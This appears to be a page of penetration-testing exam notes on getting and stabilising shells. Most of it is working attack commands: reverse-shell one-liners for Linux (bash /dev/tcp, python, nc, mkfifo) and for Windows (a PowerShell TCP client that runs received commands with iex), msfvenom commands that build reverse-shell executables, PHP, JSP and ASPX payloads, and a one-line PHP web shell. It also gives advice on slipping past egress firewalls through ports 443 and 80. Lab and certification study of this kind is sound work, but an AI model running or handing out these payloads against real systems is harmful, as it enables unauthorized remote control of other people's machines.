Skip to content

Shells & payloads

← Back to index

A shell is just a program on the target talking to a listener on your box. Understanding the pieces — who connects to whom, what interpreter runs on the target, why it keeps dying — is what lets you fix a shell that won't land instead of guessing. msfvenom and multi/handler are always allowed (they don't count as "using Metasploit").

Reverse vs bind — which and why

  • Reverse shell (default): the target connects out to you. Works through the target's firewall because outbound traffic is usually allowed — especially on 443/80/445, which look like normal web/SMB traffic. This is your go-to; always try reverse first.
  • Bind shell: the target listens and you connect in. Use only when reverse fails — i.e. the target can't reach you (strict egress filtering, or you're behind NAT with no reachable port). Needs an inbound port open on the target.

Pick your $LPORT deliberately: 443 and 80 beat egress filters because firewalls rarely block outbound web. A shell to 4444 that never connects back is usually a firewall, not a broken exploit.

Listeners

nc -lvnp 443                 # basic catcher
rlwrap nc -lvnp 443          # adds history/arrow-keys to the caught shell — worth it
# catch an msfvenom reverse payload without "using" your MSF machine:
msfconsole -q -x "use multi/handler; set payload <p>; set LHOST $LHOST; set LPORT 443; run"

Reverse shell one-liners — match the TARGET OS

The #1 mistake: firing a Linux bash one-liner at a Windows box. Check what the target is first.

Linux target:

bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'
# no bash? try these interpreters in turn — use what's installed (which python3/nc/perl):
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("'$LHOST'",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
nc $LHOST 443 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST 443 >/tmp/f   # nc without -e

Windows target:

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$s.Write(([Text.Encoding]::ASCII).GetBytes($sb2),0,$sb2.Length);$s.Flush()}"
Keep offline copies of Nishang's Invoke-PowerShellTcp.ps1 and powercat.ps1; grab prebuilt one-liners from an offline [revshells.com] copy under exam conditions.

msfvenom — when you need a file payload

Use when the exploit wants a binary/webshell rather than a command (file upload, a PoC that executes an uploaded exe, etc.).

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell32.exe   # 32-bit process
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx
Match the format to the target: .php for a PHP site, .aspx for IIS, .war/.jsp for Tomcat, .elf/.exe for the OS. A staged (meterpreter) vs non-staged (shell_reverse_tcp) choice matters: non-staged is simpler and doesn't need Metasploit to catch.

Upgrading to a full TTY (Linux) — do this immediately

Why: a raw reverse shell has no job control — Ctrl-C kills it, there are no arrow keys, and su/ssh/sudo (which need a real terminal) fail. Upgrading is not optional; half the privesc techniques need it.

python3 -c 'import pty;pty.spawn("/bin/bash")'    # or: script -qc /bin/bash /dev/null
# background with Ctrl-Z, then on YOUR box:
stty raw -echo; fg
# back in the shell:
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 columns 200     # match your window (run `stty -a` locally to get the numbers)
Now you have arrow keys, tab-complete, Ctrl-C that doesn't kill you, and working interactive tools.

Web shells

<?php system($_GET['cmd']); ?>     // -> browse to shell.php?cmd=id
Kali ships /usr/share/webshells/ (php, asp, aspx, jsp, cfm). The reasoning for a webshell over a reverse shell: sometimes you can upload but can't get an outbound connection — a webshell runs commands through the browser without needing a callback. Use it to then launch a proper reverse shell once you understand the egress.

Why your shell keeps dying

  • Dies instantly → wrong OS one-liner, or no outbound to your $LPORT (try 443/80/445).
  • Dies when you Ctrl-C or run an interactive command → you didn't upgrade the TTY.
  • Connects then hangs → staged payload with no matching handler; use a non-staged shell_reverse_tcp + nc, or the exact multi/handler payload.
  • Windows shell is unstable → migrate to a stable process (if meterpreter) or respawn via a scheduled task/service.